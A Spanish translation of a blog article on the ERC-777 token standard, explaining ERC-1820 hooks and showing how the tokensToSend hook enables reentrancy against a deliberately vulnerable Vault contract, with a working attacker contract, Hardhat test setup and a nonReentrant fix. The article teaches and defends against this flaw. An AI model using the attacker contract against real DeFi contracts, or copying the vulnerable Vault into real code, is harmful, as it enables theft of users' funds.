WEB3DEV Español

Cover image for Inmersión con ERC-777 y Mitigaciones de Riesgo
Delia Viloria T
Delia Viloria T

Posted on

Inmersión con ERC-777 y Mitigaciones de Riesgo

Image description

Prólogo

Los tokens son una parte fundamental de la experiencia diaria promedio del usuario en la blockchain, realizando muchas funciones básicas como trading, préstamos, empréstitos y transferencias de fondos. Para proveer interactividad, usabilidad y uniformidad, los estándar del token han sido introducidos. El estándar más utilizado para crear tokens es el ERC-20, y el ERC-777 son algunos estándar para tokens fungibles, que define una nueva manera de interactuar con el contrato de un token mientras mantiene compatibilidad retroactiva con el anterior.

Dicho esto, un problema de seguridad básica introducida por ciertas normas es la modificación del comportamiento en métodos previamente definidos del contrato inteligente. El ERC-777, específicamente con su añadido de transferir hooks, en este sentido, es uno de los más problemáticos.

Una Nueva Forma de Interactuar con el Contrato de un Token

Un problema que fue descubierto rápidamente, después de la adopción del ERC-20, es que los usuarios, accidentalmente, enviaban sus tokens a la dirección del contrato en vez del destinatario correcto, causando que sus balances transferidos se vuelvan permanentemente bloqueados. Por lo tanto, la propuesta que modifica los procesos de transferencia son necesarios, así que cuando el destinatario es un contrato inteligente, la lógica se asegura que esté esperando recibir tokens llamando a un hook en el destinatario (propuesto por el estándar anterior, ERC-223.

Otra peculiaridad del ERC-20 es que el código de un contrato inteligente, en el lado del receptor de una transferencia, no es ejecutada como sería el caso con las transferencias nativas de Ether. Para que un contrato inteligente sea capaz de saber de dónde recibió los fondos, esto lleva a que haya un pobre proceso UX de dos pasos que envuelve approve seguido por transferFrom. Así que, requiriendo una forma que permita al emisor, opcionalmente invocar el contrato recibido luego que la transferencia esté completa (ERC-677 apunta a resolver este problema. Un ejemplo popular es el token Chainlink-Link).

Por estas razones, el ERC-777 fue publicado en noviembre del 2017, con la intención de mejorar las características y funcionalidades ofrecidas en los tokens de contratos existentes. El ERC-777 enumera siete mejoras claves, incluyendo la introducción de operators autorizados, que pueden transferir tokens en nombre de los usuarios, y registrarse con el registro ERC-1820.

Pseudo-introspección del Registro del Contrato

El estándar ERC-1820 define un registro universal de contrato inteligente, donde cualquier dirección (un contrato o una cuenta regular) puede registrar cuál interfaz soporta y cuál contrato inteligente es responsable de su implementación. Este estándar mantiene compatibilidad retroactiva con el ERC-165.

El ERC-777 toma ventaja del ERC-1820 para encontrar si, y dónde, notificar contratos y direcciones regulares cuando también reciben tokens para permitir la compatibilidad y contratos que ya han sido desplegados.

Por ejemplo, cualquier dirección (regular o contrato) que desee ser notificada de un débito de token desde su dirección PUEDE registrar la dirección de un contrato, implementando la interfaz IERC777Sender.

Esto es hecho llamando la función setInterfaceImplementer en el registro ERC-1820 con la dirección del titular como la dirección, con el hash keccak256 del ERC777TokensSender como el hash de la interfaz, y la dirección del contrato, implementando el IERC777Sender como el implementador.

interface IERC777Sender {
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
Enter fullscreen mode Exit fullscreen mode

Otro hook puede ser visto en tokenReceived, cualquier dirección (regular o contrato) que desee ser notificado de los créditos del token de su dirección PUEDE registrar la dirección de un contrato, implementando la interfaz IERC777Recipient.

Esto es hecho invocando la función setInterfaceImplementer en el registro ERC-1820 con la dirección del receptor como la dirección, el hash keccack256 del hash ERC777TokensRecipient como el hash de la interfaz, y la dirección del contrato implementado en el IERC777Recipient como el implementador.

interface IERC777Recipient {
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
}
Enter fullscreen mode Exit fullscreen mode

Además, el contrato del token ERC-777, en sí mismo, DEBE registrar la interfaz ERC777Token con su propia dirección, llamando a setInterfaceImplementer con la dirección del token del contrato como ambos, la dirección y el implementador y el hash de ERC777Token como el hash de la interfaz. Si el ERC-20 también es un token compatible, una llamada con el hash ERC20Token, es necesario realizarlo.

constructor(
string memory name_,
string memory symbol_,
address[] memory defaultOperators_
) {
. . .
// interfaces de registro
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
Enter fullscreen mode Exit fullscreen mode

Implicaciones de Seguridad

Desde una perspectiva de seguridad, la adición más importante son los hooks de pre-transferencia opcionales. Difieren desde los hooks, previamente descritos, ejecutar una llamada no exclusiva (tokensToSend) al sender de la transferencia, dado que el remitente se haya registrado de antemano con el ERC-1820. Este hook maneja el flujo de control sobre el remitente, lo cual puede llevar a la explotación de vulnerabilidades de reentrada.

Considera el siguiente contrato simplificado, que permite a los usuarios depositar y retirar tokens:

contract Vault {
// Token => Usuario => Balance
mapping(IERC20 => mapping(address => uint256)) public deposits;

function deposit(IERC20 token, uint256 amount) external {
// Transferencia en los tokens.
// Calcula la cantidad exacta recibida para manejar el pago por transferencia y tokens similares.
uint256 balanceBefore = token.balanceOf(address(this));
require(token.transferFrom(msg.sender, address(this), amount), "Transfer failed");
uint256 balanceAfter = token.balanceOf(address(this));

uint256 received = balanceAfter - balanceBefore;
// Incrementa el depósito del usuario
deposits[token][msg.sender] += received;
}

function withdraw(IERC20 token, uint256 amount) external {
// Disminuye el depósito del usuario
deposits[token][msg.sender] -= amount;

// Envía los tokens
require(token.transfer(msg.sender, amount), "Transfer failed");
}
}
Enter fullscreen mode Exit fullscreen mode

En esta Bóveda, los tokens ERC-777 depositados pueden ser drenados desde el contrato por un atacante, reentrando la función de depositar:

  1. Llama deposit con la cantidad de 0 (o 1 wei si el token no soporta transferencias con valor de 0) a través del ataque de un contrato.

  2. La Bóveda cachea su balance e invoca transferFrom, el cual llama de hecho a la función interna _send con el campo falso requireReceptionAck.

  3. El token del contrato ERC-777 invoca al hook tokensToSend en el contrato del atacante.

  4. El contrato del atacante gana flujo del control y de nuevo llama al depósito con la cantidad de 0.

  5. Repite lo de arriba varias veces.

  6. Luego de algunas repeticiones, llama al depósito con una mayor cantidad, por ejemplo 100 tokens (solo 1 token en mi caso), y detén la reentrada desde ahí.

  7. La llamada anterior para depositar seguirá luego que la línea transferFrom una tras otra, los cuales calculan recibido como 1 tokens (en vez del esperado 0), por lo tanto, amplificando el depósito del atacante por el número de reentradas.

  8. Llama a retirar para drenar los fondos. (En el script de prueba, hice una llamada para retirar la función de atacar un contrato, el cual retiró bien sea el balance de la bóveda o el depósito de mi crédito, dependiendo de cuál es el más pequeño).

Para simular esta prueba, necesitamos implementar una instancia simple del ERC-777, heredada desde la muestra de OpenZeppelin. También necesitamos un contrato de ataque que tenga la habilidad para depositar la Bóveda y retirarla después de la reentrada exitosa.

contract MockERC777 is ERC777 {
constructor() ERC777("MockERC777", "M-777", new address[](0)) {}

function mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) external {
_mint(account, amount, userData, operatorData, false);
}
}
Enter fullscreen mode Exit fullscreen mode

Por el contrato atacante, debe ser implementado en la interfaz IERC777Sender, la cual debe construir un mecanismo de reentrada dentro del hook tokensToSend.

import "@openzeppelin/contracts/utils/introspection/IERC1820Registry.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol";

contract MockERC777Reentrancy is IERC777Sender {
IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);

uint8 public counter;

constructor() {
// interfaces de registro
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777TokensSender"), address(this));
}

function deposit(address vaultAddr, address token, uint256 amount) external {
if(IERC20(token).allowance(address(this), vaultAddr) < type(uint256).max) {
IERC20(token).approve(vaultAddr, type(uint256).max);
}
Vault(vaultAddr).deposit(IERC20(token), amount);
}

function withdraw(address vaultAddr, address tokenAddr) external {
IERC20 token = IERC20(tokenAddr);
uint256 amount = Vault(vaultAddr).deposits(token, address(this));

Vault(vaultAddr).withdraw(token, amount > token.balanceOf(vaultAddr) ? token.balanceOf(vaultAddr) : amount);
}

function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
console.log("Counter: ", counter);

if(counter > 10) return;
else if(counter == 10) amount = 1 * 1e18;

counter++;
Vault(operator).deposit(IERC20(msg.sender), amount);
}
}
Enter fullscreen mode Exit fullscreen mode

Para el script de prueba, es un poco complicado aquí por el registro del despliegue ERC-1820. Para usar la misma dirección desplegada en este registro 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24 en hardhat, necesitamos desplegarla manualmente, siguiendo las instrucciones de la sección de Despliegue, el cual ya lo he escrito abajo, en Typescript:

const ERC1820_ADDRESS = "0x1820a4b7618bde71dce8cdc73aab6c95905fad24";
const ERC1820_DEPLOYER = "0xa990077c3205cbDf861e17Fa532eeB069cE9fF96";
const ERC1820_PAYLOAD =
"0xf90a388085174876e800830c35008080b909e5608060405234801561001057600080fd5b506109c5806100206000396000f3fe608060405234801561001057600080fd5b50600436106100a5576000357c010000000000000000000000000000000000000000000000000000000090048063a41e7d5111610078578063a41e7d51146101d4578063aabbb8ca1461020a578063b705676514610236578063f712f3e814610280576100a5565b806329965a1d146100aa5780633d584063146100e25780635df8122f1461012457806365ba36c114610152575b600080fd5b6100e0600480360360608110156100c057600080fd5b50600160a060020a038135811691602081013591604090910135166102b6565b005b610108600480360360208110156100f857600080fd5b5035600160a060020a0316610570565b60408051600160a060020a039092168252519081900360200190f35b6100e06004803603604081101561013a57600080fd5b50600160a060020a03813581169160200135166105bc565b6101c26004803603602081101561016857600080fd5b81019060208101813564010000000081111561018357600080fd5b82018360208201111561019557600080fd5b803590602001918460018302840111640100000000831117156101b757600080fd5b5090925090506106b3565b60408051918252519081900360200190f35b6100e0600480360360408110156101ea57600080fd5b508035600160a060020a03169060200135600160e060020a0319166106ee565b6101086004803603604081101561022057600080fd5b50600160a060020a038135169060200135610778565b61026c6004803603604081101561024c57600080fd5b508035600160a060020a03169060200135600160e060020a0319166107ef565b604080519115158252519081900360200190f35b61026c6004803603604081101561029657600080fd5b508035600160a060020a03169060200135600160e060020a0319166108aa565b6000600160a060020a038416156102cd57836102cf565b335b9050336102db82610570565b600160a060020a031614610339576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b6103428361092a565b15610397576040805160e560020a62461bcd02815260206004820152601a60248201527f4d757374206e6f7420626520616e204552433136352068617368000000000000604482015290519081900360640190fd5b600160a060020a038216158015906103b85750600160a060020a0382163314155b156104ff5760405160200180807f455243313832305f4143434550545f4d4147494300000000000000000000000081525060140190506040516020818303038152906040528051906020012082600160a060020a031663249cb3fa85846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182600160a060020a0316600160a060020a031681526020019250505060206040518083038186803b15801561047e57600080fd5b505afa158015610492573d6000803e3d6000fd5b505050506040513d60208110156104a857600080fd5b5051146104ff576040805160e560020a62461bcd02815260206004820181905260248201527f446f6573206e6f7420696d706c656d656e742074686520696e74657266616365604482015290519081900360640190fd5b600160a060020a03818116600081815260208181526040808320888452909152808220805473ffffffffffffffffffffffffffffffffffffffff19169487169485179055518692917f93baa6efbd2244243bfee6ce4cfdd1d04fc4c0e9a786abd3a41313bd352db15391a450505050565b600160a060020a03818116600090815260016020526040812054909116151561059a5750806105b7565b50600160a060020a03808216600090815260016020526040902054165b919050565b336105c683610570565b600160a060020a031614610624576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b81600160a060020a031681600160a060020a0316146106435780610646565b60005b600160a060020a03838116600081815260016020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169585169590951790945592519184169290917f605c2dbf762e5f7d60a546d42e7205dcb1b011ebc62a61736a57c9089d3a43509190a35050565b600082826040516020018083838082843780830192505050925050506040516020818303038152906040528051906020012090505b92915050565b6106f882826107ef565b610703576000610705565b815b600160a060020a03928316600081815260208181526040808320600160e060020a031996909616808452958252808320805473ffffffffffffffffffffffffffffffffffffffff19169590971694909417909555908152600284528181209281529190925220805460ff19166001179055565b600080600160a060020a038416156107905783610792565b335b905061079d8361092a565b156107c357826107ad82826108aa565b6107b85760006107ba565b815b925050506106e8565b600160a060020a0390811660009081526020818152604080832086845290915290205416905092915050565b6000808061081d857f01ffc9a70000000000000000000000000000000000000000000000000000000061094c565b909250905081158061082d575080155b1561083d576000925050506106e8565b61084f85600160e060020a031961094c565b909250905081158061086057508015155b15610870576000925050506106e8565b61087a858561094c565b909250905060018214801561088f5750806001145b1561089f576001925050506106e8565b506000949350505050565b600160a060020a0382166000908152600260209081526040808320600160e060020a03198516845290915281205460ff1615156108f2576108eb83836107ef565b90506106e8565b50600160a060020a03808316600081815260208181526040808320600160e060020a0319871684529091529020549091161492915050565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff161590565b6040517f01ffc9a7000000000000000000000000000000000000000000000000000000008082526004820183905260009182919060208160248189617530fa90519096909550935050505056fea165627a7a72305820377f4a2d4301ede9949f163f319021a6e9c687c292a5e2b2c4734c126b524e6c00291ba01820182018201820182018201820182018201820182018201820182018201820a01820182018201820182018201820182018201820182018201820182018201820";

export const ensureERC1820 = async (provider: any) => {
const code = await provider.send("eth_getCode", [ERC1820_ADDRESS, "latest"]);
if (code === "0x") {
const [from] = await provider.send("eth_accounts");

/// Para desplegar el registro, 0.08 ether primero DEBE ser enviado a esta cuenta.
await provider.send("eth_sendTransaction", [
{
from,
to: ERC1820_DEPLOYER,
value: "0x11c37937e080000",
},
]);

/// Despliega el Registro 1820, enviando la transacción cruda (raw). 
await provider.send("eth_sendRawTransaction", [ERC1820_PAYLOAD]);
console.log("ERC1820 registry successfully deployed");
}
};
Enter fullscreen mode Exit fullscreen mode

Importa esto en un archivo de prueba y llama la función en el hook beforeAll

this.beforeAll(async () => {
await network.provider.send("evm_setIntervalMining", [1000]);

/// Registro Init 1820
await ensureERC1820(network.provider);
});
Enter fullscreen mode Exit fullscreen mode

Mi caso de prueba fue seguir estos pasos que fueron descritos anteriormente, luego de los scripts, obtenemos que el balance de la Bóveda era de 0 mientras que esta figura, para el atacante, fue de 12 tokens (1 token para la invocación del último depósito cuando la cuenta iguala a 10, 10 veces durante el hook tokensToSend, llamando a 0 enviando el token y el inicial).

Image description

Para prevenir este tipo de ataque, el método popular es aplicar el patrón Mutex, el cual usa el modificador nonReentrant _ desde _ReentrancyGuard.sol de OpenZeppelin para la función de depositar.

Conclusión

Mientras que el ERC-777 no ha encontrado una adopción cercana a los estándar ERC-20 o ERC-721, aún pone estos proyectos que están siendo construidos en riesgo. Por lo tanto, los intercambios descentralizados, puentes de token, o plataformas de préstamos sin permisos, deberían estar consciente de la seriedad de este riesgo, y tomar pasos para proteger a sus usuarios contra los problemas de reentrada por los tokens, usando este estándar.

Sígueme en Linkedin para Seguir Conectados

https://www.linkedin.com/in/ninh-kim-927571149/

Este artículo fue escrito por BrianKim y traducido por Delia Viloria T. Su original se puede leer aquí.

Sería genial escucharte en nuestro Discord, puedes contarnos tus ideas, comentarios, sugerencias y dejarnos saber lo que necesitas.
Si prefieres puedes escribirnos a @web3dev_eshttps://twitter.com/web3dev_es en Twitter.

Discussion (0)